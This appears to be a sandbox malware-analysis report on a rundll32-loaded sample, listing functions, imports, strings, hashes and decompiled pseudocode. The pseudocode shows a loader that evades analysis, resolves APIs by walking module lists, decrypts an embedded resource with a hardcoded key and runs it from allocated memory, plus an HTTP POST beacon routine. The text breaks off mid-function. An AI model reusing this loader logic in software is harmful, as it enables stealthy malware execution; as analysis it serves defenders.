0x011b1f4b
0x00000000
0x011b1f4b
0x011b1f08
0x011b1f16
0x011b1f1d
0x011b1f31
0x00000000
0x011b1f31
0x011b1f24
0x00000000
0x011b1f24
0x00000000
0x011b1ee5
0x00000000
0x011b1ecb
0x00000000
0x011b1eb1
0x00000000
0x011b1df1
0x011b1f5c
0x011b1f63
0x00000000
0x011b1f68
0x011b1def
0x011b1d67
0x011b1d6f
0x00000000
0x011b1d75
0x011b1d24
0x011b1d2a
0x011b1d31
0x00000000
0x00000000
0x011b1d35
0x00000000
0x011b1d3b
0x011b1ce9
0x00000000
0x011b1cef
0x011b1c23
0x00000000
0x011b1c29
0x011b1c06
0x00000000
0x011b1c0c
0x011b1be5
0x00000000
0x011b1beb
0x00000000
0x011b1bc2
0x011b1b98
0x00000000
0x011b1b9e
0x00000000

APIs

Part of subcall function 011B1270: SetLastError.KERNEL32(0000000D,?,?,011B1B75,011B1025,00000040), ref: 011B1281

SetLastError.KERNEL32(000000C1,011B1025,00000040), ref: 011B1B98

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 12b0e6a17476fd38cb820aeb16230bea20be3a3774c4f56e493efd9025ae4ed3
Instruction ID: 192dff59822bd5d366d81e63a860fd4192e890f47ad625c6df332ec8d88478e2
Opcode Fuzzy Hash: 12b0e6a17476fd38cb820aeb16230bea20be3a3774c4f56e493efd9025ae4ed3
Instruction Fuzzy Hash: E2E1D674A10209EFDB08CF98D9E4AEEBBB1BF48304F118559E915AB385D730AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04851640, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 212
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0485173A
WSAStartup.WS2_32(00000102,?), ref: 0485174F
socket.WS2_32(00000002,00000001,00000006), ref: 04851766
gethostbyname.WS2_32(?), ref: 04851779
htons.WS2_32(?), ref: 0485178D
connect.WS2_32(?,?,00000010), ref: 048517D2
send.WS2_32(?,?,?,00000000), ref: 04851854
recv.WS2_32(?,?,00000BB8,00000000), ref: 048518C1

Strings

POST %s HTTP/1.1Host: %sPragma: no-cacheContent-Length: %d%s, xrefs: 0485172E
ping, xrefs: 04851657

Memory Dump Source

Source File: 00000003.00000002.665004317.0000000004851000.00000020.00000001.sdmp, Offset: 04850000, based on PE: true

Associated: 00000003.00000002.664819390.0000000004850000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.666866498.0000000004852000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4850000_rundll32.jbxd

Similarity

API ID: Startupconnectgethostbynamehtonsrecvsendsocketwsprintf
String ID: POST %s HTTP/1.1Host: %sPragma: no-cacheContent-Length: %d%s$ping
API String ID: 1466141387-1232505173
Opcode ID: abd8a5559fa4e9926b4bd933dea71345106d599176918da7ebd5cac41c17645b
Instruction ID: b902c569344a0c09ae7c169a3f1b4a50396d150d24cec4c5e5f08ec9e8711290
Opcode Fuzzy Hash: abd8a5559fa4e9926b4bd933dea71345106d599176918da7ebd5cac41c17645b
Instruction Fuzzy Hash: 4BB1F474D042A89BDB20DF68DD84BD9B7B5AF48304F008AC9E58DE7245DBB46AC4CF51

Uniqueness

Uniqueness Score: -1.00%

Function 011A1030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(011A4054,011A4040), ref: 011A1047
GetProcAddress.KERNEL32(00000000), ref: 011A104E

Part of subcall function 011A1B30: SetLastError.KERNEL32(0000000D,?,011A1070,?,00000040), ref: 011A1B3D

SetLastError.KERNEL32(000000C1), ref: 011A1096

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: a13422e5fd71005870062d6bc94ed78f1339e51adbe0aa8c75cb91b0db5b0a2d
Instruction ID: b635f8b3e635fff1d3250391d6c50124b43ae7d0f39efc9309cb47f0b06ee3dd
Opcode Fuzzy Hash: a13422e5fd71005870062d6bc94ed78f1339e51adbe0aa8c75cb91b0db5b0a2d
Instruction Fuzzy Hash: 48F1DDB8E00209EFDB08CF98D984AAEBBB1FF48314F608559E915AB341D775EE41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 10001140, Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 258
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(advapi32.dll,00000000,?,768FFF80,00000000,?,?,?,?,10001910,mzhN!<iB1VQsqma,00000001,00000000,?), ref: 10001163

Strings

CryptAcquireContextW, xrefs: 100011C9, 100011DD, 100011E3, 100011EE, 10001201
CryptEncrypt, xrefs: 1000132B
CryptImportKey, xrefs: 1000129B, 100012AF, 100012B5, 100012C0, 100012D3
advapi32.dll, xrefs: 1000115E
MZ, xrefs: 1000123E

Memory Dump Source

Source File: 00000003.00000002.668407668.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.668390582.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668432316.0000000010002000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668446107.0000000010003000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.668456462.0000000010004000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID: CryptAcquireContextW$CryptEncrypt$CryptImportKey$MZ$advapi32.dll
API String ID: 1029625771-2099056292
Opcode ID: 8be17151d487c284eccf1f61c66e01e235dd7159d25684441548e50fe222385c
Instruction ID: f1e3da2b060832eca0575a2289e7c1b66ec671b800c50b1afc0d0a00f9ebe04d
Opcode Fuzzy Hash: 8be17151d487c284eccf1f61c66e01e235dd7159d25684441548e50fe222385c
Instruction Fuzzy Hash: 4F9105706083428FE714CF15C8C0AABBBE9EFC97C8F10456DE8859B30AD632D906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10001530, Relevance: 54.6, APIs: 4, Strings: 27, Instructions: 320
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E10001530() {
				char _v3;
				char _v4;
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				void* _v92;
				void* _v96;
				signed int _v100;
				void* _v104;
				void* _v112;
				long _v116;
				intOrPtr* _t140;
				intOrPtr _t143;
				intOrPtr _t144;
				intOrPtr* _t146;
				intOrPtr* _t148;
				void* _t153;
				char* _t165;
				void* _t167;
				void* _t169;
				char* _t170;
				intOrPtr* _t173;
				intOrPtr* _t174;
				void* _t175;
				void* _t177;
				intOrPtr _t180;
				short* _t181;
				intOrPtr _t182;
				signed int _t185;
				signed int _t186;
				char _t193;
				short _t194;
				char _t195;
				short _t196;
				intOrPtr _t199;
				void* _t205;
				intOrPtr _t211;
				intOrPtr _t214;
				void* _t216;
				signed int _t225;
				void* _t227;
				signed int _t228;
				void* _t230;
				intOrPtr _t232;
				intOrPtr _t233;
				intOrPtr* _t234;
				void* _t235;
				char _t237;
				void* _t240;
				char _t243;
				intOrPtr _t247;
				intOrPtr* _t249;
				intOrPtr _t252;
				void* _t253;
				void* _t265;
				void* _t284;

				_t253 =  &_v100;
				if(E10001100() != 0) {
					ExitProcess(0xffffe678);
				}
				_v32 = 0x65;
				_v26 = 0x65;
				_v14 = 0x65;
				_v10 = 0x65;
				_v4 = 0x65;
				_t230 = 0;
				 *0x10003174 = 0xf;
				_v88 = 0;
				_v100 = 0;
				_v40 = 0x4c;
				_v39 = 0x64;
				_v38 = 0x72;
				_v37 = 0x46;
				_v36 = 0x69;
				_v35 = 0x6e;
				_v34 = 0x64;
				_v33 = 0x52;
				_v31 = 0x73;
				_v30 = 0x6f;
				_v29 = 0x75;
				_v28 = 0x72;
				_v27 = 0x63;
				_v25 = 0x5f;
				_v24 = 0x55;
				_v23 = 0;
				_v20 = 0x4c;
				_v19 = 0x64;
				_v18 = 0x72;
				_v17 = 0x41;
				_v16 = 0x63;
				_v15 = 0x63;
				_v13 = 0x73;
				_v12 = 0x73;
				_v11 = 0x52;
				_v9 = 0x73;
				_v8 = 0x6f;
				_v7 = 0x75;
				_v6 = 0x72;
				_v5 = 0x63;
				_v3 = 0;
				_v56 = 0x56;
				_v55 = 0x69;
				_v54 = 0x72;
				_v53 = 0x74;
				_v52 = 0x75;
				_v51 = 0x61;
				_v50 = 0x6c;
				_v49 = 0x41;
				_v48 = 0x6c;
				_v47 = 0x6c;
				_v46 = 0x6f;
				_v45 = 0x63;
				_v44 = 0;
				_t180 =  *((intOrPtr*)(E100010E0(0x6c) + 0xc));
				_t140 =  *((intOrPtr*)(_t180 + 0xc));
				_t173 = _t140;
				_v76 =  *((intOrPtr*)(_t180 + 0x10));
				if(_t140 == 0) {
					L20:
					_t181 = 0;
				} else {
					while( *((intOrPtr*)(_t173 + 0x18)) != _t230) {
						_t252 =  *((intOrPtr*)(_t173 + 0x30));
						if(_t252 == _t230) {
							L19:
							if(_t173 != _t230) {
								continue;
							} else {
								goto L20;
							}
						} else {
							_t228 = 0;
							_t265 = L"kernel32.dll" - _t230; // 0x6b
							if(_t265 != 0) {
								_t170 = L"kernel32.dll";
								_t216 = _t252 - _t170;
								while( *((short*)(_t216 + _t170)) != 0) {
									_t195 =  *_t170;
									if(_t195 <= 0x5a && _t195 >= 0x41) {
										_t195 = _t195 + 0x20;
										 *_t170 = _t195;
									}
									_t243 = _t195;
									_t196 =  *((intOrPtr*)(_t216 + _t170));
									if(_t196 <= 0x5a && _t196 >= 0x41) {
										_t196 = _t196 + 0x20;
										 *((short*)(_t216 + _t170)) = _t196;
									}
									if(_t243 == _t196) {
										_t170 =  &(_t170[2]);
										_t228 = _t228 + 1;
										if( *_t170 != 0) {
											continue;
										}
									}
									goto L16;
								}
							}
							L16:
							_t230 = 0;
							if( *((intOrPtr*)(L"kernel32.dll" + _t228 * 2)) != 0 ||  *((intOrPtr*)(_t252 + _t228 * 2)) != 0) {
								_t173 =  *_t173;
								goto L19;
							} else {
								_t181 =  *((intOrPtr*)(_t173 + 0x18));
							}
						}
						goto L21;
					}
					goto L20;
				}
				L21:
				if( *_t181 == 0x5a4d) {
					_t143 =  *((intOrPtr*)( *((intOrPtr*)(_t181 + 0x3c)) + _t181 + 0x78));
					if(_t143 != _t230) {
						_t199 =  *((intOrPtr*)(_t143 + _t181 + 0x18));
						_v84 =  *((intOrPtr*)(_t143 + _t181 + 0x1c));
						_t232 =  *((intOrPtr*)(_t143 + _t181 + 0x20));
						_t144 =  *((intOrPtr*)(_t143 + _t181 + 0x24));
						_v80 = _t199;
						_v92 = 0;
						if(_t199 <= 0) {
							L35:
							_v96 = 0;
						} else {
							_t177 = _t144 + _t181;
							_v96 = _t232 + _t181;
							do {
								_t249 = _v84 + _t181;
								_t167 = 0;
								_t240 =  *_v96 + _t181;
								_t227 = _t240 -  &_v56;
								while(1) {
									_t211 =  *((intOrPtr*)(_t253 + _t227 + _t167 + 0x3c));
									if(_t211 == 0 ||  *((intOrPtr*)(_t253 + _t167 + 0x3c)) != _t211) {
										break;
									}
									_t214 =  *((intOrPtr*)(_t253 + _t167 + 0x3d));
									_t167 = _t167 + 1;
									if(_t214 != 0) {
										continue;
									}
									break;
								}
								if( *((intOrPtr*)(_t253 + _t167 + 0x3c)) != 0 ||  *((char*)(_t167 + _t240)) != 0) {
									goto L34;
								} else {
									_v96 =  *_t249 + _t181;
								}
								goto L36;
								L34:
								_t169 = _v92 + 1;
								_t177 = _t177 + 2;
								_v92 = _t169;
								_v96 = _v96 + 4;
							} while (_t169 < _v80);
							goto L35;
						}
					} else {
						_v96 = _t230;
					}
				} else {
					_v96 = _t230;
				}
				L36:
				_t182 =  *((intOrPtr*)(E100010E0(_t181) + 0xc));
				_t146 =  *((intOrPtr*)(_t182 + 0xc));
				_t174 = _t146;
				_v76 =  *((intOrPtr*)(_t182 + 0x10));
				if(_t146 == 0) {
					L57:
					_t233 = 0;
				} else {
					while( *((intOrPtr*)(_t174 + 0x18)) != 0) {
						_t247 =  *((intOrPtr*)(_t174 + 0x30));
						if(_t247 == 0) {
							L53:
							if(_t174 != 0) {
								continue;
							} else {
								goto L57;
							}
						} else {
							_t225 = 0;
							_t284 = L"ntdll.dll" - _t225; // 0x6e
							if(_t284 != 0) {
								_t165 = L"ntdll.dll";
								_t205 = _t247 - _t165;
								while( *((short*)(_t205 + _t165)) != 0) {
									_t193 =  *_t165;
									if(_t193 <= 0x5a && _t193 >= 0x41) {
										_t193 = _t193 + 0x20;
										 *_t165 = _t193;
									}
									_t237 = _t193;
									_t194 =  *((intOrPtr*)(_t205 + _t165));
									if(_t194 <= 0x5a && _t194 >= 0x41) {
										_t194 = _t194 + 0x20;
										 *((short*)(_t205 + _t165)) = _t194;
									}
									if(_t237 == _t194) {
										_t165 =  &(_t165[2]);
										_t225 = _t225 + 1;
										if( *_t165 != 0) {
											continue;
										}
									}
									goto L50;
								}
							}
							L50:
							if( *((short*)(L"ntdll.dll" + _t225 * 2)) != 0 ||  *((short*)(_t247 + _t225 * 2)) != 0) {
								_t174 =  *_t174;
								goto L53;
							} else {
								_t233 =  *((intOrPtr*)(_t174 + 0x18));
							}
						}
						goto L58;
					}
					goto L57;
				}
				L58:
				_push( &_v40);
				_push(_t233);
				_t148 = E10001440();
				_push( &_v20);
				_push(_t233);
				_t234 = E10001440();
				_push( &_v72);
				_push(3);
				_push( &_v68);
				_push(0x10000000);
				_v68 = 0xb;
				_v64 = 0x8a3;
				_v60 = 0x409;
				if( *_t148() >= 0) {
					 *_t234(0x10000000, _v88,  &_v104,  &_v116);
				}
				_t153 = VirtualAlloc(0, _v116, 0x3000, atoi("64"));
				_t185 = _v116;
				_t235 = _v104;
				_t175 = _t153;
				_t186 = _t185 >> 2;
				_push(memcpy(_t175, _t235, _t186 << 2));
				_push(_t175);
				_push(1);
				memcpy(_t235 + _t186 + _t186, _t235, _t185 & 0x00000003);
				if(E10001140("mzhN!<iB1VQsqma") != 0) {
					L62:
					 *_t175();
				} else {
					_push( &_v116);
					_push(_t175);
					_push(atoi("16"));
					if(E10001140("mzhN!<iB1VQsqma") != 0) {
						goto L62;
					}
				}
				return 0;
			}

0x10001530
0x1000153a
0x10001541
0x10001541
0x1000154c
0x10001550
0x10001554
0x10001558
0x1000155c
0x10001560
0x1000156b
0x10001572
0x10001576
0x1000157a
0x1000157f
0x10001584
0x10001588
0x1000158d
0x10001592
0x10001597
0x1000159c
0x100015a1
0x100015a5
0x100015aa
0x100015af
0x100015b3
0x100015b7
0x100015bc
0x100015c1
0x100015c6
0x100015cb
0x100015d0
0x100015d4
0x100015d9
0x100015dd
0x100015e1
0x100015e5
0x100015e9
0x100015ee
0x100015f2
0x100015f7
0x100015fc
0x10001600
0x10001604
0x10001609
0x1000160e
0x10001613
0x10001617
0x1000161c
0x10001621
0x10001626
0x1000162a
0x1000162f
0x10001633
0x10001637
0x1000163c
0x10001640
0x1000164a
0x1000164d
0x10001652
0x10001657
0x1000165b
0x100016da
0x100016da
0x1000165d
0x1000165d
0x10001662
0x10001667
0x100016d6
0x100016d8
0x00000000
0x00000000
0x00000000
0x00000000
0x10001669
0x10001669
0x1000166b
0x10001672
0x10001674
0x1000167b
0x1000167d
0x10001684
0x1000168b
0x10001693
0x10001696
0x10001696
0x10001699
0x1000169b
0x100016a3
0x100016ab
0x100016ae
0x100016ae
0x100016b5
0x100016b7
0x100016ba
0x100016bf
0x00000000
0x00000000
0x100016bf
0x00000000
0x100016b5
0x1000167d
0x100016c1
0x100016c1
0x100016cb
0x100016d4
0x00000000
0x100016ec
0x100016ec
0x100016ec
0x100016cb
0x00000000
0x10001667
0x00000000
0x1000165d
0x100016dc
0x100016e1
0x100016f8
0x100016fc
0x1000170b
0x1000170f
0x10001713
0x10001717
0x1000171b
0x10001721
0x10001729
0x1000179f
0x1000179f
0x1000172b
0x1000172d
0x10001730
0x10001734
0x10001744
0x10001746
0x1000174e
0x10001752
0x10001754
0x10001757
0x1000175d
0x00000000
0x00000000
0x10001765
0x10001769
0x1000176c
0x00000000
0x00000000
0x00000000
0x1000176c
0x10001774
0x00000000
0x1000184c
0x10001851
0x10001851
0x00000000
0x10001780
0x1000178c
0x1000178d
0x10001795
0x10001799
0x10001799
0x00000000
0x10001734
0x100016fe
0x100016fe
0x100016fe
0x100016e3
0x100016e3
0x100016e3
0x100017a7
0x100017ac
0x100017af
0x100017b7
0x100017b9
0x100017bd
0x1000185f
0x1000185f
0x100017c3
0x100017c3
0x100017ce
0x100017d3
0x10001842
0x10001844
0x00000000
0x1000184a
0x00000000
0x1000184a
0x100017d5
0x100017d5
0x100017d7
0x100017de
0x100017e0
0x100017e7
0x100017e9
0x100017f0
0x100017f7
0x100017ff
0x10001802
0x10001802
0x10001805
0x10001807
0x1000180f
0x10001817
0x1000181a
0x1000181a
0x10001821
0x10001823
0x10001826
0x1000182b
0x00000000
0x00000000
0x1000182b
0x00000000
0x10001821
0x100017e9
0x1000182d
0x10001836
0x10001840
0x00000000
0x1000185a
0x1000185a
0x1000185a
0x10001836
0x00000000
0x100017d3
0x00000000
0x100017c3
0x10001861
0x10001865
0x10001866
0x10001867
0x10001872
0x10001873
0x10001880
0x10001886
0x10001887
0x10001889
0x1000188a
0x1000188f
0x10001897
0x1000189f
0x100018ab
0x100018c1
0x100018c1
0x100018e0
0x100018e4
0x100018e8
0x100018ec
0x100018f6
0x100018fd
0x10001901
0x10001902
0x10001909
0x10001915
0x10001939
0x10001939
0x10001917
0x1000191b
0x1000191c
0x10001927
0x10001937
0x00000000
0x00000000
0x10001937
0x10001944

APIs

Part of subcall function 10001100: LoadLibraryW.KERNEL32(ntdll.dll,ZwOpenSymbolicLinkObject,?,10001538), ref: 1000110B
Part of subcall function 10001100: GetProcAddress.KERNEL32(00000000), ref: 10001112

ExitProcess.KERNEL32 ref: 10001541

Strings

d, xrefs: 1000157F
A, xrefs: 100015D4
i, xrefs: 1000158D
kernel32.dll, xrefs: 1000166B, 10001674, 100016C3
_, xrefs: 100015B7
u, xrefs: 100015F7
A, xrefs: 1000162A
u, xrefs: 1000161C
L, xrefs: 100015C6
U, xrefs: 100015BC
a, xrefs: 10001621
F, xrefs: 10001588
L, xrefs: 1000157A
o, xrefs: 100015A5
mzhN!<iB1VQsqma, xrefs: 10001904, 10001928
ntdll.dll, xrefs: 100017D7, 100017E0, 1000182D
R, xrefs: 1000159C
d, xrefs: 100015CB
n, xrefs: 10001592
u, xrefs: 100015AA
i, xrefs: 1000160E
o, xrefs: 10001637
R, xrefs: 100015E9
o, xrefs: 100015F2
V, xrefs: 10001609
d, xrefs: 10001597
t, xrefs: 10001617

Memory Dump Source

Source File: 00000003.00000002.668407668.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.668390582.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668432316.0000000010002000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668446107.0000000010003000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.668456462.0000000010004000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: AddressExitLibraryLoadProcProcess
String ID: A$A$F$L$L$R$R$U$V$_$a$d$d$d$i$i$kernel32.dll$mzhN!<iB1VQsqma$n$ntdll.dll$o$o$o$t$u$u$u
API String ID: 881411216-724902985
Opcode ID: d5cd14736a5a78d3d26fe2b51d0aa306070cc927f9ad5da38bcc108a3d724817
Instruction ID: 4276e2de53327d2340dd9adc1b77db750b573dbbb898802e8b477a806e705720
Opcode Fuzzy Hash: d5cd14736a5a78d3d26fe2b51d0aa306070cc927f9ad5da38bcc108a3d724817
Instruction Fuzzy Hash: 1AC1A27150C3818FE312DB68C88069BBBE5EF96784F48885DE5C44B346D7B5D988C7A3

Uniqueness

Uniqueness Score: -1.00%

Function 011A21A0, Relevance: 6.2, APIs: 4, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 011A21F9
SetLastError.KERNEL32(0000007E), ref: 011A223B

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 111c4d34bdb4af217c117a5afb76bc0bb574fe7b9e18a7490bdf2fce3b8ae7c1
Instruction ID: 3ee8d4d26f2e0f733e73ab24517ca362e105c0a48e31becc95d044a0af268bca
Opcode Fuzzy Hash: 111c4d34bdb4af217c117a5afb76bc0bb574fe7b9e18a7490bdf2fce3b8ae7c1
Instruction Fuzzy Hash: E081BB78A04209DFDB08CF98C890BADBBB1FF49314F558158E919AB355C734EA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011B18C0, Relevance: 5.2, APIs: 4, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E011B18C0(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				signed int* _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t117;
				intOrPtr _t135;
				intOrPtr _t140;
				void* _t206;
				void* _t207;

				_v44 = __ecx;
				_t3 = _a4 + 4; // 0x3
				_v16 =  *_t3;
				_v28 = 1;
				_v32 =  *_a4 + 0xbadc25;
				if( *((intOrPtr*)(_v32 + 4)) != 0) {
					_v8 = _v16 +  *_v32;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t21 = _a4 + 0x28; // 0x0
						_t26 = _a4 + 0x1c; // 0x0, executed
						_t114 =  *((intOrPtr*)( *_t26))(_v16 +  *((intOrPtr*)(_v8 + 0xc)),  *_t21); // executed
						_t207 = _t206 + 8;
						_v24 = _t114;
						if(_v24 != 0) {
							_t31 = _a4 + 0xc; // 0xffff
							_t35 = _a4 + 8; // 0x4
							_t117 = E011B1170( *_t35, 4 +  *_t31 * 4); // executed
							_t206 = _t207 + 8;
							_v36 = _t117;
							if(_v36 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v36;
								_t48 = _a4 + 0xc; // 0xffff
								_t50 = _a4 + 8; // 0x4
								 *((intOrPtr*)( *_t50 +  *_t48 * 4)) = _v24;
								_t55 = _a4 + 0xc; // 0xffff
								 *(_a4 + 0xc) =  *_t55 + 1;
								if( *_v8 == 0) {
									_v12 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
									_v20 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v12 = _v16 +  *_v8;
									_v20 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v12 != 0) {
									if(( *_v12 & 0x80000000) == 0) {
										_v40 = _v16 +  *_v12;
										_t91 = _a4 + 0x28; // 0x0
										_t95 = _a4 + 0x20; // 0x0
										_t135 =  *((intOrPtr*)( *_t95))(_v24, _v40 + 2,  *_t91);
										_t206 = _t206 + 0xc;
										 *_v20 = _t135;
									} else {
										_t81 = _a4 + 0x28; // 0x0
										_t85 = _a4 + 0x20; // 0x0
										_t140 =  *((intOrPtr*)( *_t85))(_v24,  *_v12 & 0x0000ffff,  *_t81);
										_t206 = _t206 + 0xc;
										 *_v20 = _t140;
									}
									if( *_v20 != 0) {
										_v12 =  &(_v12[1]);
										_v20 = _v20 + 4;
										continue;
									} else {
										_v28 = 0;
										break;
									}
								}
								if(_v28 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								_t101 = _a4 + 0x28; // 0x0
								_t104 = _a4 + 0x24; // 0x0
								 *((intOrPtr*)( *_t104))(_v24,  *_t101);
								SetLastError(0x7f);
								break;
							}
							_t39 = _a4 + 0x28; // 0x0
							_t42 = _a4 + 0x24; // 0x0
							 *((intOrPtr*)( *_t42))(_v24,  *_t39);
							SetLastError(0xe);
							_v28 = 0;
							break;
						}
						SetLastError(0x7e);
						_v28 = 0;
						break;
					}
					return _v28;
				}
				return 1;
			}

0x011b18c6
0x011b18cc
0x011b18cf
0x011b18d2
0x011b18ea
0x011b18f4
0x011b1908
0x011b1916
0x011b193a
0x011b194b
0x011b194e
0x011b1950
0x011b1953
0x011b195a
0x011b1973
0x011b1981
0x011b1985
0x011b198a
0x011b198d
0x011b1994
0x011b19c6
0x011b19cc
0x011b19d2
0x011b19d8
0x011b19de
0x011b19e7
0x011b19f0
0x011b1a14
0x011b1a20
0x011b19f2
0x011b19fa
0x011b1a06
0x011b1a06
0x011b1a37
0x011b1a4a
0x011b1a7d
0x011b1a83
0x011b1a95
0x011b1a98
0x011b1a9a
0x011b1aa0
0x011b1a4c
0x011b1a4f
0x011b1a66
0x011b1a69
0x011b1a6b
0x011b1a71
0x011b1a71
0x011b1aa8
0x011b1a2b
0x011b1a34
0x00000000
0x011b1aaa
0x011b1aaa
0x00000000
0x011b1aaa
0x011b1aa8
0x011b1abc
0x011b1913
0x00000000
0x011b1913
0x011b1ac1
0x011b1acc
0x011b1acf
0x011b1ad6
0x00000000
0x011b1ad6
0x011b1999
0x011b19a4
0x011b19a7
0x011b19ae
0x011b19b4
0x00000000
0x011b19b4
0x011b195e
0x011b1964
0x00000000
0x011b1964
0x00000000
0x011b1ae3
0x00000000

APIs

IsBadReadPtr.KERNEL32(00000000,00000014), ref: 011B191C
SetLastError.KERNEL32(0000007E), ref: 011B195E

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 9a5ea6cd0d294b87161c47ec41afd893657fed4109b2367d2b0bc272f69e2324
Instruction ID: 60f8654cb165de9134ec2dc25c9a24373d6935f1f203b1637cd4eb5da750a5a7
Opcode Fuzzy Hash: 9a5ea6cd0d294b87161c47ec41afd893657fed4109b2367d2b0bc272f69e2324
Instruction Fuzzy Hash: 1781C874A00209EFDB08CF98D490BAEBBB1FF48314F258158E919AB355D774EA81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0116002D, Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,01160005), ref: 011600E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,01160005), ref: 01160111

Memory Dump Source

Source File: 00000003.00000002.662420469.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_rundll32.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 698c02e9ba5a5135b962b9d57740a1491340970332588f7ba8befd623b58e8d4
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 5FD1D371A083068FD728CF5DC88076AB7E8FF88319F18452DF9958B241E776E865CB91

Uniqueness

Uniqueness Score: -1.00%

Function 048510B0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 80
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E048510B0(void* __eflags) {
				signed int _v8;
				void _v36;
				void _v68;
				signed char* _v72;
